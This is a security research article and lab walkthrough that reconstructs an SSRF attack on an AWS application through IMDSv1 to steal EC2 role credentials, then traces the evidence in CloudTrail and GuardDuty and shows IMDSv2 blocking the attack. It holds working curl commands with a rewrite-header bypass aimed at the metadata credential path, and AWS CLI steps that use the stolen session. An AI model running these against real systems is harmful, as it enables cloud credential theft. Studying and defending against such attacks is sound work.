Skip to content
Back to research

AWS SSRF Credential Theft: Attack, Detection and IMDSv2 Defence

Fortinet documented a 2025 response at a large cooperative bank where SSRF in a public-facing AWS application exposed IAM role credentials through IMDSv1. This safe reconstruction follows that pattern from application reconnaissance to CloudTrail and GuardDuty, then replays the same request against an IMDSv2-secured target.

Follow along on GitHubDeploy, exercise and remove the lab safelyUse the GitHub guide for the exact prerequisites, local Terraform state, private SSM connection, bounded exercise and verified teardown. Return here when you want the full attack narrative and defender investigation.Open the Practice Lab on GitHub
YouTubeAWS SSRF credential theft: attack, detection and IMDSv2 defenceOpen the related video

What this article is about

On 18 April 2025, Fortinet published an anonymised incident-response case involving a large cooperative bank migrating to AWS. Investigators reported SSRF in a public-facing web application reached through its public IP, exposed an EC2 IAM role through IMDSv1 and left evidence in CloudTrail and FortiCNAPP. The environment also had an over-permissive instance role and no WAF in front of the application load balancer; the response included IMDSv2, WAF protection, tighter IAM and improved monitoring [7]. Expel separately reported that SSRF accounted for 28% of the cloud incidents its SOC observed in 2023 and identified the EC2 role-credential path at 169.254.169.254 as the main technique [8].

AWS introduced IMDSv2 as defence in depth for open proxies, firewalls and SSRF vulnerabilities. It requires a session token obtained with an HTTP PUT before metadata can be read, and AWS says this combination protects against the vast majority of SSRF paths it analysed [1]. EC2 can be configured to reject IMDSv1 by setting metadata tokens to required [2].

ObservedThe application accepts the approved document URL.

Next stepSubmit the request and confirm the expected preview response.

1. Normal use begins on the Member Document Centre. The user supplies an approved fictional statement URL and chooses Generate preview.

ObservedThe ordinary member-document preview succeeds.

Next stepInspect the request and application source to understand the server-side fetch.

2. Preview ready confirms the ordinary feature works. The page returns a synthetic document summary and audit reference before any metadata address or attack header is introduced.
Incident-inspired reconstruction, not a victim replica

Fortinet does not name the affected bank, application framework, vulnerable route or post-compromise API sequence. The fictional Northwind Cooperative member-document portal, its FastAPI preview route, the rewrite flaw and the bounded STS, IAM and S3 actions are original lab assumptions chosen to recreate the sourced SSRF-to-IMDSv1 pattern safely. The lab is private behind Systems Manager rather than exposing a deliberately vulnerable public application. No victim system, real personal data or reusable credential is used.

  • Sourced factFortinet documented a 2025 AWS incident in which SSRF against a public-facing application exposed IAM role credentials through IMDSv1 [7].
  • Sourced factExpel found SSRF was the second most common cloud-incident cause its SOC observed in 2023, at 28% [8].
  • Sourced factIMDS can provide temporary credentials for an EC2 instance role, while IMDSv2 adds session-oriented protections [1] [2].
  • Lab assumptiona preview feature validates one route, then trusts a client-controlled internal rewrite header.
  • Lab assumptionthe attached role can inspect its own exact role metadata and read one harmless versioned S3 marker whose archive location is exposed by the fictional application.
  • Observed resultthe private qualification completed the bounded chain and produced application, CloudTrail, Config and Security Hub evidence plus two same-run GuardDuty findings: instance-credential exfiltration and Kali Linux activity.

Why IMDSv1 makes this attack possible

The important difference is the request sequence. IMDSv1 accepts a direct tokenless GET to the link-local metadata address. IMDSv2 first requires a session token obtained with an HTTP PUT, then requires that token on the later metadata GET [1] [2]. A simple SSRF path that can issue only the final GET can therefore reach IMDSv1 but cannot complete the IMDSv2 exchange.

IMDSv1: one tokenless request

The vulnerable server follows the attacker-controlled URL to 169.254.169.254 and receives metadata without first obtaining a session token.

Instance role: temporary credentials

The role-name path identifies the attached EC2 role. Appending that observed name returns its short-lived credential document.

IMDSv2: token exchange required

The hardened target requires a PUT-created token and the token header on the metadata GET. Replaying the same tokenless SSRF request is rejected.

Copy HTTP
IMDSv1
GET /latest/meta-data/...                 → metadata returned

IMDSv2
PUT /latest/api/token                     → session token
GET /latest/meta-data/... + token header  → metadata returned
Same tokenless SSRF GET                    → blocked
Vulnerable result: the application follows the rewritten URL to IMDSv1 and returns the temporary EC2 role credential document. Only the reusable secret fields are obscured.
Secure result: the identical application request reaches an IMDSv2-required target and stops with HTTP 424 UPSTREAM_METADATA_DENIED before any role name, credential or AWS action exists.
IMDSv2 is one control, not the whole SSRF fix

The application must still validate the final destination after rewrites and redirects, while the EC2 role must remain least-privileged. IMDSv2 prevents this tokenless metadata chain from becoming a credential theft path.

The recreated AWS environment

The private lab creates an isolated VPC with paired FastAPI targets on EC2, bounded IAM, a synthetic S3 object and deterministic telemetry. Neither target accepts inbound application traffic; the operator reaches each one through an authenticated Systems Manager tunnel. The application, role and data stay the same while the EC2 metadata-token setting changes.

The application and the metadata service share one EC2 instance, which is why a request the application makes can reach credentials at all. Each numbered marker is a place that layout is not contained.

Attack path and trust boundaries

The weakness is not “FastAPI” by itself. It is the trust decision after validation: the application checks the requested target, then accepts a separate internal rewrite value. That lets a crafted request reach IMDSv1, retrieve a temporary instance-role credential and use only the synthetic permissions deliberately granted by this lab.

Threat path: follow the real bounded attacker route from FastAPI through IMDSv1 and temporary-role use, then trace each action to the AWS evidence source that observed it.
The recorded chain against the vulnerable target, with the real elapsed offsets. Server-side request forgery is only the first step; what makes it serious is what the instance was willing to hand over afterwards.

Attacker view: reconnaissance and hypothesis

The story starts at the application, not at IMDS. A visitor sees a fictional member-document portal that accepts a Document URL and returns a preview. That user-controlled URL is the first SSRF signal: the server, rather than the browser, may be making the outbound request.

Reconnaissance 1. The real Kali session fetches the fictional application and finds the Document URL field, POST /api/preview route and target_url input in the delivered page.
Reconnaissance 2. A harmless normal-route POST receives HTTP 403 NORMAL_DENIAL. This forms the SSRF test hypothesis; it does not claim exploitation until the trusted-rewrite action shown next returns IMDS data.

Observe the feature

The application asks for a Document URL. That establishes an attacker-controlled input which may cause a server-side fetch.

Map the request

The delivered page identifies POST /api/preview and the target_url JSON field. The Kali capture comes from the real page returned by the private target.

Establish the baseline

A harmless request through the normal route receives HTTP 403 NORMAL_DENIAL. At this point SSRF is still a hypothesis, not a finding.

Confirm, then escalate

The following live attack tests the separate trusted-rewrite input. Only its HTTP 200 response from the IMDS role path confirms the bypass.

What the attacker can and cannot infer

The preview form is observable. The trusted rewrite weakness is an explicit lab assumption until the bounded request proves it. The article keeps that distinction so reconnaissance is not presented as exploitation.

Attacker view: inspect the harmless HTTP baseline with mitmproxy

The screenshot below is mitmweb, the browser interface supplied with mitmproxy. It was used during the local Kali rehearsal to keep one harmless POST /api/preview request and its 403 response together on screen. This makes the changed target_url easy to inspect, but it is not the source of the qualified AWS attack evidence and it never receives the temporary credential.

How to read the mitmweb screen

The left pane is the captured flow list; the selected POST returned 403. The right pane shows the selected flow. Request displays its headers and JSON body, while Response displays the application result. The address ending :8082 is mitmweb itself; the request target ending :8765 is the temporary loopback application used by this local rehearsal.

Copy BASH
curl -i -sS \
  -H 'Content-Type: application/json' \
  -d '{"target_url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
  http://member-documents.northwind.test:8000/api/preview

ObservedThe same legitimate endpoint carries an attacker-controlled server-side fetch target.

Next stepOpen the actual response and retain it as the denied control case.

1. In mitmweb, select the POST /api/preview flow in the left pane. In the Request pane on the right, inspect the attacker-controlled target_url pointing at the EC2 metadata role path. Hover the explanation below to highlight each area.

ObservedThe direct metadata target is denied with HTTP 403 NORMAL_DENIAL.

Next stepKeep the target unchanged and test only the separate trusted internal rewrite hypothesis.

2. In the same selected mitmweb flow, open Response and confirm 403 NORMAL_DENIAL. NORMAL_DENIAL is the literal sentinel returned by this synthetic FastAPI lab. It is not redaction and it is not a standard AWS response.

Select POST /api/preview

Known: normal preview generation already proved this endpoint is part of the real application workflow. Selecting it keeps the investigation tied to an observed request.

Inspect target_url

Inference: because the server accepts a user-supplied document address, changing only this value tests whether the application can be steered toward 169.254.169.254.

Open the response

The literal 403 NORMAL_DENIAL control proves the direct metadata URL is blocked. That observation justifies testing the separate client-controlled internal rewrite without changing any other input.

Why the proxy stops before credentials

The proxy is used only for requests and responses that contain no credential. The role-credential response stays inside the guarded process so a proxy history, project file or browser cannot persist reusable values.

Lab setup: confirm the deliberately vulnerable target

This is validation performed by the lab builder, not knowledge available to an external attacker. It proves the target was intentionally configured to accept tokenless IMDSv1 requests before the attack evidence is interpreted.

AWS Console follow-alongEC2 > Instances > target instance > Details > IMDSv2

The reconnaissance probe identified a server-side URL fetch and the bounded rewrite test reached the metadata route.

  1. 1
    entry

    EC2

    Click: EC2

    Open the EC2 service landing page. Open EC2.

    Why: Use this step to confirm the current evidence before moving on: The reconnaissance probe identified a server-side URL fetch and the bounded rewrite test reached the metadata route.

    Expected evidence: The highlighted EC2 control or evidence is visible.

    Next pivot: Continue to Instances.

    1. Open the EC2 service landing page. Open EC2. This matters because it preserves the declared investigation path: The reconnaissance probe identified a server-side URL fetch and the bounded rewrite test reached the metadata route.
  2. 2
    navigation

    Instances

    Click: Instances

    Choose Instances from the EC2 navigation. Click Instances.

    Why: Use this step to confirm the current evidence before moving on: Establish whether the compute configuration makes the application-side SSRF hypothesis exploitable without an IMDSv2 token.

    Expected evidence: The highlighted Instances control or evidence is visible.

    Next pivot: Continue to target-instance.

    2. Choose Instances from the EC2 navigation. Click Instances. This matters because it preserves the declared investigation path: Establish whether the compute configuration makes the application-side SSRF hypothesis exploitable without an IMDSv2 token.
  3. 3
    filter

    target-instance

    Click: target-instance

    Filter the list to the readable current-run target pseudonym. Open target-instance.

    Why: Use this step to confirm the current evidence before moving on: Select only the target instance created for this qualification run.

    Expected evidence: The highlighted target-instance control or evidence is visible.

    Next pivot: Continue to target-instance.

    3. Filter the list to the readable current-run target pseudonym. Open target-instance. This matters because it preserves the declared investigation path: Select only the target instance created for this qualification run.
  4. 4
    selection

    target-instance

    Click: target-instance

    Select the visible enabled target-instance row. Click target-instance.

    Why: Use this step to confirm the current evidence before moving on: Establish whether the compute configuration makes the application-side SSRF hypothesis exploitable without an IMDSv2 token.

    Expected evidence: The highlighted target-instance control or evidence is visible.

    Next pivot: Continue to Details.

    4. Select the visible enabled target-instance row. Click target-instance. This matters because it preserves the declared investigation path: Establish whether the compute configuration makes the application-side SSRF hypothesis exploitable without an IMDSv2 token.
  5. 5
    detail

    Details

    Click: Details

    Open the Details tab. Click Details.

    Why: Use this step to confirm the current evidence before moving on: Establish whether the compute configuration makes the application-side SSRF hypothesis exploitable without an IMDSv2 token.

    Expected evidence: The highlighted Details control or evidence is visible.

    Next pivot: Continue to IMDSv2.

    5. Open the Details tab. Click Details. This matters because it preserves the declared investigation path: Establish whether the compute configuration makes the application-side SSRF hypothesis exploitable without an IMDSv2 token.
  6. 6
    evidence

    IMDSv2

    Click: IMDSv2

    Locate IMDSv2 and confirm that the value is Optional. Open IMDSv2.

    Why: Use this step to confirm the current evidence before moving on: Establish whether the compute configuration makes the application-side SSRF hypothesis exploitable without an IMDSv2 token.

    Expected evidence: The highlighted IMDSv2 control or evidence is visible.

    Next pivot: Continue to IMDSv2, Optional.

    6. Locate IMDSv2 and confirm that the value is Optional. Open IMDSv2. This matters because it preserves the declared investigation path: Establish whether the compute configuration makes the application-side SSRF hypothesis exploitable without an IMDSv2 token.
  7. 7
    evidence

    IMDSv2, Optional

    Click: IMDSv2, Optional

    Locate IMDSv2 and confirm that the value is Optional. Open IMDSv2, Optional.

    Why: Use this step to confirm the current evidence before moving on: Establish whether the compute configuration makes the application-side SSRF hypothesis exploitable without an IMDSv2 token.

    Expected evidence: IMDSv2 is Optional.

    Next pivot: Correlate run_id, target_instance_id with the next evidence source.

    7. Locate IMDSv2 and confirm that the value is Optional. Open IMDSv2, Optional. This matters because it preserves the declared investigation path: Establish whether the compute configuration makes the application-side SSRF hypothesis exploitable without an IMDSv2 token.
Investigation outcome

The target accepts IMDSv1 requests, so an application-side SSRF can reach instance metadata without an IMDSv2 token. Expected state: IMDSv2 is Optional.

Attacker view: execute the bounded chain

The live_qualification.py program is a safety harness around real HTTP and AWS CLI actions. It performs the request, checks the exact disposable Range account before every AWS call, pauses the running Kali terminal so CI can photograph the genuine result, and removes the temporary credential from memory when the chain ends. It does not manufacture terminal screenshots or replay a transcript.

Exact learner command aligned to this recorded Range step
curl -i -sS \
  -H 'Content-Type: application/json' \
  -d '{"target_url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
  http://member-documents.northwind.test:8000/api/preview

ObservedHTTP 403 with the literal synthetic application marker NORMAL_DENIAL.

Next stepBecause the normal route denied the same target, test the one declared trusted-rewrite hypothesis without changing the metadata path.

1. The attacker first sends the metadata URL through the normal preview route. The real FastAPI response is 403 NORMAL_DENIAL, which establishes the control case before the bypass is tested.
Exact learner command aligned to this recorded Range step
ROLE_NAME=$(curl -sS \
  -H 'Content-Type: application/json' \
  -H 'X-Original-URL: /internal/preview' \
  -d '{"target_url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
  http://member-documents.northwind.test:8000/api/preview)
printf 'Discovered role: %s\n' "$ROLE_NAME"

ObservedHTTP 200 containing the exact run-bound EC2 role name and no credential value.

Next stepThe returned role name makes the credential-document path knowable; append that observed name rather than guessing a role.

2. Adding the client-controlled internal rewrite reaches the IMDSv1 role-name path. The live HTTP 200 response identifies the temporary role attached to the target instance.
Exact learner command aligned to this recorded Range step
CRED_JSON=$(curl -sS \
  -H 'Content-Type: application/json' \
  -H 'X-Original-URL: /internal/preview' \
  -d "{\"target_url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME\"}" \
  http://member-documents.northwind.test:8000/api/preview)
export AWS_ACCESS_KEY_ID=$(jq -r .AccessKeyId <<<"$CRED_JSON")
export AWS_SECRET_ACCESS_KEY=$(jq -r .SecretAccessKey <<<"$CRED_JSON")
export AWS_SESSION_TOKEN=$(jq -r .Token <<<"$CRED_JSON")
printf 'Temporary credential acquired\n'

ObservedA short-lived AWS-HMAC credential document with the required schema; secret values remain in process memory and are never rendered.

Next stepA credential is not yet useful evidence of access; use it for the smallest signed AWS request and verify the exact disposable Range account.

3. The trusted rewrite reaches the role-specific metadata path. The genuine response shape remains visible while only reusable credential values use contrasting textured masks.
Exact learner command aligned to this recorded Range step
aws sts get-caller-identity

ObservedThe account guard matches and STS identifies the assumed target role.

Next stepThe STS ARN and earlier IMDS response identify the compromised role; inspect only that exact role next.

4. The stolen in-memory session is used with the real AWS CLI. GetCallerIdentity confirms the disposable Range account before any further AWS action is allowed.
Exact learner command aligned to this recorded Range step
aws iam get-role --role-name "$ROLE_NAME"

ObservedGetRole confirms the exact target role and path without enumerating unrelated IAM roles.

Next stepThe application-source archive hint supplies the S3 bucket and prefix; use those observed values for one capped list request.

5. The IMDS response already supplied the compromised role name. GetRole now inspects only that exact role; no account-wide role enumeration is performed.
Exact learner command aligned to this recorded Range step
ARCHIVE_URI=$(curl -sS http://member-documents.northwind.test:8000/portal-config.js \
  | grep -oE 's3://[^" ]+' | head -1)
ARCHIVE_BUCKET=${ARCHIVE_URI#s3://}
ARCHIVE_BUCKET=${ARCHIVE_BUCKET%%/*}
ARCHIVE_PREFIX=${ARCHIVE_URI#s3://$ARCHIVE_BUCKET/}
OBJECT_KEY=$(aws s3api list-objects-v2 \
  --bucket "$ARCHIVE_BUCKET" \
  --prefix "$ARCHIVE_PREFIX" \
  --max-keys 1 \
  --query 'Contents[0].Key' --output text)
VERSION_ID=$(aws s3api head-object \
  --bucket "$ARCHIVE_BUCKET" \
  --key "$OBJECT_KEY" \
  --query VersionId --output text)
printf 'Discovered object: %s\n' "$OBJECT_KEY"

ObservedExactly one synthetic object key, size and version are returned.

Next stepThe list and metadata responses make one exact versioned object knowable; read only that returned version.

6. The stolen session lists one run-scoped S3 prefix and reads the metadata for its sole synthetic object version. The bucket and run identifiers are replaced with stable labels.
Exact learner command aligned to this recorded Range step
aws s3api get-object \
  --bucket "$ARCHIVE_BUCKET" \
  --key "$OBJECT_KEY" \
  --version-id "$VERSION_ID" \
  $HOME/synthetic-marker.json
cat $HOME/synthetic-marker.json

ObservedThe synthetic marker and SHA-256 match; no unrelated object is requested.

Next stepThe bounded impact proof is complete, so discard the temporary credential and end the chain.

7. The final AWS CLI call reads one harmless versioned marker. The runner proves its SHA-256 and deletes the temporary file immediately afterwards.
No AWS profile is created

The recovered AccessKeyId, SecretAccessKey and Token exist only in the child-process environment used for each AWS CLI call. The harness never runs aws configure, writes ~/.aws or exposes operator SSO credentials to Kali.

The following credential hand-off and account guard are copied from the executable live_qualification.py harness.

Copy PYTHON
def attacker_environment(credentials: dict[str, Any], region: str) -> dict[str, str]:
    required = {"AccessKeyId", "SecretAccessKey", "Token", "Expiration"}
    if set(credentials) < required:
        raise QualificationError("IMDS response omitted a temporary credential field")
    access_key = credentials["AccessKeyId"]
    if not isinstance(access_key, str) or not access_key.startswith("ASIA"):
        raise QualificationError("IMDS response was not a temporary AWS credential")
    values = {
        "PATH": os.environ.get("PATH", "/usr/local/bin:/usr/bin:/bin"),
        "HOME": os.environ.get("HOME", "/home/kali"),
        "AWS_ACCESS_KEY_ID": str(access_key),
        "AWS_SECRET_ACCESS_KEY": str(credentials["SecretAccessKey"]),
        "AWS_SESSION_TOKEN": str(credentials["Token"]),
        "AWS_REGION": region,
        "AWS_DEFAULT_REGION": region,
        "AWS_EC2_METADATA_DISABLED": "true",
        "AWS_PAGER": "",
    }
    return values

def guarded_identity_response(
    environment: dict[str, str], account_id: str
) -> tuple[dict[str, Any], dict[str, Any]]:
    identity = aws_json(
        ["sts", "get-caller-identity"],
        environment=environment,
    )
    if identity.get("Account") != account_id:
        raise QualificationError(
            "Range identity guard failed before an attacker AWS action"
        )
    return (
        {
            "account_match": True,
            "arn_class": "assumed-role",
        },
        identity,
    )
Attack approach

Prove that the trusted rewrite reaches the exact IMDS role path, then use the temporary credential only against the lab account and synthetic resources.

Selected tool

Python live qualification harness and AWS CLI

Why it fits

This scenario needs process-memory credential handling and an account guard before every AWS action. A generic proxy or scanner would risk placing credential bytes in history, logs or artifacts.

Show reviewed definition or learner request
# Discover the role name through the trusted rewrite
ROLE_NAME=$(curl -sS \
  -H 'Content-Type: application/json' \
  -H 'X-Original-URL: /internal/preview' \
  -d '{"target_url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
  http://member-documents.northwind.test:8000/api/preview)
printf 'Discovered role: %s\n' "$ROLE_NAME"

# Request the temporary credential document for that returned role
CRED_JSON=$(curl -sS \
  -H 'Content-Type: application/json' \
  -H 'X-Original-URL: /internal/preview' \
  -d "{\"target_url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME\"}" \
  http://member-documents.northwind.test:8000/api/preview)
export AWS_ACCESS_KEY_ID=$(jq -r .AccessKeyId <<<"$CRED_JSON")
export AWS_SECRET_ACCESS_KEY=$(jq -r .SecretAccessKey <<<"$CRED_JSON")
export AWS_SESSION_TOKEN=$(jq -r .Token <<<"$CRED_JSON")
printf 'Temporary credential acquired\n'

Prepared launcher

Loads the run-bound private inputs and refuses an unqualified account, scenario or expected result.

Normal denial first

Sends the same metadata target without the trusted rewrite and requires the application to deny it before contacting IMDS.

Credential acquisition

Uses the returned role name only to fetch its temporary credential document, validates the four required fields and moves the response into locked process memory without rendering it.

Off-instance role use

Uses that stolen session for STS identity confirmation, bounded IAM reconnaissance and one exact synthetic S3 object read, then discards it.

Expected result
Range reports FULL_CHAIN_EXECUTED with seven safe markers; Secure reports CHAIN_BLOCKED_BY_IMDSV2 before credential acquisition.
Observed result
The qualified Range run completed all seven steps. The Secure qualification blocked the tokenless metadata request and performed zero attacker AWS actions.
Safety boundary

Private disposable lab only. No public target, arbitrary metadata path, unrestricted IAM output, object payload or credential field is rendered or uploaded.

FULL_CHAIN_EXECUTED means more than reaching IMDS. The tokenless IMDSv1 request returned a temporary EC2-role credential document; that stolen session was then used outside the instance for bounded STS, IAM and S3 actions before the credential was discarded.

  • Application request → FastAPI structured event in CloudWatch Logs.
  • STS GetCallerIdentity and IAM actions → CloudTrail management events and event JSON.
  • Synthetic S3 read → CloudTrail object-level S3 data event.
  • Off-instance role use → GuardDuty InstanceCredentialExfiltration.OutsideAWS finding.
  • GetRole from the recorded Kali client → GuardDuty PenTest:IAMUser/KaliLinux finding.
  • Tokenless metadata posture → AWS Config and Security Hub control results.
A safe simulation of attacker impact

The technique is genuine credential exfiltration and use, but the impact target is deliberately synthetic. The role can inspect only the admitted lab path and one harmless marker; it cannot modify infrastructure, browse unrelated data or make the credential reusable outside this run.

Impact context: follow the EC2 role to its permissions

Credential acquisition matters because the temporary session inherits the EC2 role attached to the target. The next qualified capture must show that relationship in the AWS Console rather than expecting the reader to infer it from an ARN. The lab role is intentionally narrow; a production role with broader permissions would widen the same stolen credential’s impact.

Impact follows the role, not the metadata service

IMDS exposes the temporary credential, but the attached IAM policy decides what that credential can do. Least privilege limits blast radius; AdministratorAccess would turn the same path into a much wider account compromise.

AWS Console follow-alongEC2 > Instances > target > Details > IAM role > Permissions > bounded inline policy

The selected EC2 target exposes its attached IAM role in the Details tab.

  1. 1
    entry

    EC2

    Click: EC2

    Open the EC2 service landing page and choose Instances. Open EC2.

    Why: Use this step to confirm the current evidence before moving on: The selected EC2 target exposes its attached IAM role in the Details tab.

    Expected evidence: The highlighted EC2 control or evidence is visible.

    Next pivot: Continue to Instances.

    1. Open the EC2 service landing page and choose Instances. Open EC2. This matters because it preserves the declared investigation path: The selected EC2 target exposes its attached IAM role in the Details tab.
  2. 2
    navigation

    Instances

    Click: Instances

    Filter the list to the readable current-run target pseudonym. Click Instances.

    Why: Use this step to confirm the current evidence before moving on: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.

    Expected evidence: The highlighted Instances control or evidence is visible.

    Next pivot: Continue to target-instance.

    2. Filter the list to the readable current-run target pseudonym. Click Instances. This matters because it preserves the declared investigation path: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.
  3. 3
    filter

    target-instance

    Click: target-instance

    Select the visible target instance and open its Details tab. Open target-instance.

    Why: Use this step to confirm the current evidence before moving on: Use the current-run target and role names so unrelated workload identities do not enter the evidence frame.

    Expected evidence: The highlighted target-instance control or evidence is visible.

    Next pivot: Continue to target-instance.

    3. Select the visible target instance and open its Details tab. Open target-instance. This matters because it preserves the declared investigation path: Use the current-run target and role names so unrelated workload identities do not enter the evidence frame.
  4. 4
    selection

    target-instance

    Click: target-instance

    Follow the attached IAM role link from the instance profile details. Click target-instance.

    Why: Use this step to confirm the current evidence before moving on: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.

    Expected evidence: The highlighted target-instance control or evidence is visible.

    Next pivot: Continue to Details.

    4. Follow the attached IAM role link from the instance profile details. Click target-instance. This matters because it preserves the declared investigation path: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.
  5. 5
    detail

    Details

    Click: Details

    Expand the run-bound inline policy on the role Permissions tab. Click Details.

    Why: Use this step to confirm the current evidence before moving on: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.

    Expected evidence: The highlighted Details control or evidence is visible.

    Next pivot: Continue to fastapi-target-northwind-range-review.

    5. Expand the run-bound inline policy on the role Permissions tab. Click Details. This matters because it preserves the declared investigation path: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.
  6. 6
    selection

    fastapi-target-northwind-range-review

    Click: fastapi-target-northwind-range-review

    Follow the attached IAM role link from the instance profile details. Open fastapi-target-northwind-range-review.

    Why: Use this step to confirm the current evidence before moving on: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.

    Expected evidence: The highlighted fastapi-target-northwind-range-review control or evidence is visible.

    Next pivot: Continue to bounded-fastapi-scenario-final-range-20260813c.

    6. Follow the attached IAM role link from the instance profile details. Open fastapi-target-northwind-range-review. This matters because it preserves the declared investigation path: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.
  7. 7
    selection

    bounded-fastapi-scenario-final-range-20260813c

    Click: bounded-fastapi-scenario-final-range-20260813c

    Follow the attached IAM role link from the instance profile details. Click bounded-fastapi-scenario-final-range-20260813c.

    Why: Use this step to confirm the current evidence before moving on: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.

    Expected evidence: The highlighted bounded-fastapi-scenario-final-range-20260813c control or evidence is visible.

    Next pivot: Continue to s3:GetObjectVersion.

    7. Follow the attached IAM role link from the instance profile details. Click bounded-fastapi-scenario-final-range-20260813c. This matters because it preserves the declared investigation path: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.
  8. 8
    selection

    s3:GetObjectVersion

    Click: s3:GetObjectVersion

    Follow the attached IAM role link from the instance profile details. Open s3:GetObjectVersion.

    Why: Use this step to confirm the current evidence before moving on: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.

    Expected evidence: The highlighted s3:GetObjectVersion control or evidence is visible.

    Next pivot: Continue to kms:Decrypt.

    8. Follow the attached IAM role link from the instance profile details. Open s3:GetObjectVersion. This matters because it preserves the declared investigation path: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.
  9. 9
    selection

    kms:Decrypt

    Click: kms:Decrypt

    Follow the attached IAM role link from the instance profile details. Open kms:Decrypt.

    Why: Use this step to confirm the current evidence before moving on: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.

    Expected evidence: The highlighted kms:Decrypt control or evidence is visible.

    Next pivot: Continue to kms:Decrypt.

    9. Follow the attached IAM role link from the instance profile details. Open kms:Decrypt. This matters because it preserves the declared investigation path: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.
  10. 10
    evidence

    kms:Decrypt

    Click: kms:Decrypt

    Review the bounded IAM, S3 and KMS statements before following the attacker actions. Open kms:Decrypt.

    Why: Use this step to confirm the current evidence before moving on: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.

    Expected evidence: The run-bound workload role exposes only its own IAM metadata, one synthetic S3 prefix and the exact KMS key needed for that harmless object.

    Next pivot: Correlate run_id, target_instance_id, target_role_name with the next evidence source.

    10. Review the bounded IAM, S3 and KMS statements before following the attacker actions. Open kms:Decrypt. This matters because it preserves the declared investigation path: Establish the exact permissions available to the temporary instance-role credential before tracing its observed use.
Investigation outcome

The instance details lead to the attached role and its exact bounded permissions, showing what the stolen temporary credential could actually do. Expected state: The run-bound workload role exposes only its own IAM metadata, one synthetic S3 prefix and the exact KMS key needed for that harmless object.

Defender view: application and CloudTrail investigation

The attacker-side action_id and timestamp are the first defender pivot. Start in the FastAPI application log to prove which bounded action ran, then carry that exact time window and temporary-role context into the CloudTrail log stream. S3 object activity appears only when data-event logging is explicitly configured [4].

AWS Console follow-alongCloudWatch > Log groups > run-bound FastAPI target stream

The attacker terminal returned the temporary-credential acquisition marker for the current action.

  1. 1
    entry

    CloudWatch

    Click: CloudWatch

    Open CloudWatch from the AWS Console service menu. Open CloudWatch.

    Why: Use this step to confirm the current evidence before moving on: The attacker terminal returned the temporary-credential acquisition marker for the current action.

    Expected evidence: The highlighted CloudWatch control or evidence is visible.

    Next pivot: Continue to Logs.

    1. Open CloudWatch from the AWS Console service menu. Open CloudWatch. This matters because it preserves the declared investigation path: The attacker terminal returned the temporary-credential acquisition marker for the current action.
  2. 2
    navigation

    Logs

    Click: Logs

    Expand Logs, then choose Log Management and Log groups. Click Logs.

    Why: Use this step to confirm the current evidence before moving on: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity.

    Expected evidence: The highlighted Logs control or evidence is visible.

    Next pivot: Continue to Log Management.

    2. Expand Logs, then choose Log Management and Log groups. Click Logs. This matters because it preserves the declared investigation path: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity.
  3. 3
    navigation

    Log Management

    Click: Log Management

    Expand Logs, then choose Log Management and Log groups. Click Log Management.

    Why: Use this step to confirm the current evidence before moving on: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity.

    Expected evidence: The highlighted Log Management control or evidence is visible.

    Next pivot: Continue to /external-threat-mapping/incident-lab/northwind-range-review/fastapi-target.

    3. Expand Logs, then choose Log Management and Log groups. Click Log Management. This matters because it preserves the declared investigation path: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity.
  4. 4
    selection

    /external-threat-mapping/incident-lab/northwind-range-review/fastapi-target

    Click: /external-threat-mapping/incident-lab/northwind-range-review/fastapi-target

    Open the pseudonymised current-run FastAPI target log group and application stream. Click /external-threat-mapping/incident-lab/northwind-range-review/fastapi-target.

    Why: Use this step to confirm the current evidence before moving on: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity.

    Expected evidence: The highlighted /external-threat-mapping/incident-lab/northwind-range-review/fastapi-target control or evidence is visible.

    Next pivot: Continue to target-instance/application.

    4. Open the pseudonymised current-run FastAPI target log group and application stream. Click /external-threat-mapping/incident-lab/northwind-range-review/fastapi-target. This matters because it preserves the declared investigation path: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity.
  5. 5
    selection

    target-instance/application

    Click: target-instance/application

    Open the pseudonymised current-run FastAPI target log group and application stream. Click target-instance/application.

    Why: Use this step to confirm the current evidence before moving on: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity.

    Expected evidence: The highlighted target-instance/application control or evidence is visible.

    Next pivot: Continue to "acquire-temporary-credential".

    5. Open the pseudonymised current-run FastAPI target log group and application stream. Click target-instance/application. This matters because it preserves the declared investigation path: Confirm the application handled the exact credential-acquisition action before pivoting into AWS identity activity.
  6. 6
    filter

    "acquire-temporary-credential"

    Click: "acquire-temporary-credential"

    Filter for acquire-temporary-credential because that is the attacker action just observed. Open "acquire-temporary-credential".

    Why: Use this step to confirm the current evidence before moving on: Filter on acquire-temporary-credential so unrelated application requests do not enter the evidence frame.

    Expected evidence: The highlighted "acquire-temporary-credential" control or evidence is visible.

    Next pivot: Continue to acquire-temporary-credential.

    6. Filter for acquire-temporary-credential because that is the attacker action just observed. Open "acquire-temporary-credential". This matters because it preserves the declared investigation path: Filter on acquire-temporary-credential so unrelated application requests do not enter the evidence frame.
  7. 7
    evidence

    acquire-temporary-credential

    Click: acquire-temporary-credential

    Select the visible correlated application event row. Open acquire-temporary-credential.

